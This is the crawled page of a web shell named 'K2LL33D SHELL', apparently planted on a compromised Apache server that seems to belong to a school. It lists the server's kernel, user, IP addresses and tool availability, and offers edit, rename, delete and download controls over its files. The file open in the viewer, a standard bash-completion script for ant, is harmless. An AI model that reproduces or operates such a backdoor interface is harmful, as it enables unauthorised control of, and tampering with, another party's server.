K2LL33D SHELL

 Apache/2.4.7 (Ubuntu)
 Linux sman1baleendah 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 safemode : OFF
 MySQL: ON | Perl: ON | cURL: OFF | WGet: ON
  >  / usr / share / bash-completion / completions /
server ip : 172.67.156.115

your ip : 172.69.17.176

H O M E


Filename/usr/share/bash-completion/completions/ant
Size1.71 kb
Permissionrw-r--r--
Ownerroot : root
Create time27-Apr-2025 09:54
Last modified07-Apr-2014 22:10
Last accessed05-Jul-2025 20:42
Actionsedit | rename | delete | download (gzip)
Viewtext | code | image
# bash completion for ant and phing -*- shell-script -*-

_ant()
{
local cur prev words cword
_init_completion || return

case $prev in
-buildfile|-file|-f)
_filedir 'xml'
return 0
;;
-logfile|-l)
_filedir
return 0
;;
-propertyfile)
_filedir properties
return 0
;;
-nice)
COMPREPLY=( $( compgen -W '{1..10}' -- "$cur" ) )
return 0
;;
-lib)
_filedir -d
return 0
;;
-logger|-listener|-inputhandler|-main|-find|-s)
return 0
;;
esac

if [[ $cur == -D* ]]; then
return 0
elif [[ "$cur" == -* ]]; then
COMPREPLY=( $( compgen -W '$( _parse_help "$1" -h )' -- "$cur" ) )
else
# available targets completion
# find which buildfile to use
local buildfile=build.xml i
for (( i=1; i < cword; i++ )); do
if [[ "${words[i]}" == -@(?(build)file|f) ]]; then
buildfile=${words[i+1]}
break
fi
done
[[ ! -f $buildfile ]] && return 0

# parse buildfile for targets
local line targets
while read -rd '>' line; do
[[ $line =~ \
\<(targe|extension-poin)t[[:space:]].*name=[\"\']([^\"\']+) ]] \
&& targets+=" ${BASH_REMATCH[2]}"
done < $buildfile
COMPREPLY=( $( compgen -W '$targets' -- "$cur" ) )
fi
} &&
complete -F _ant ant phing
type complete-ant-cmd.pl &>/dev/null && \
complete -C complete-ant-cmd.pl -F _ant ant || :

# ex: ts=4 sw=4 et filetype=sh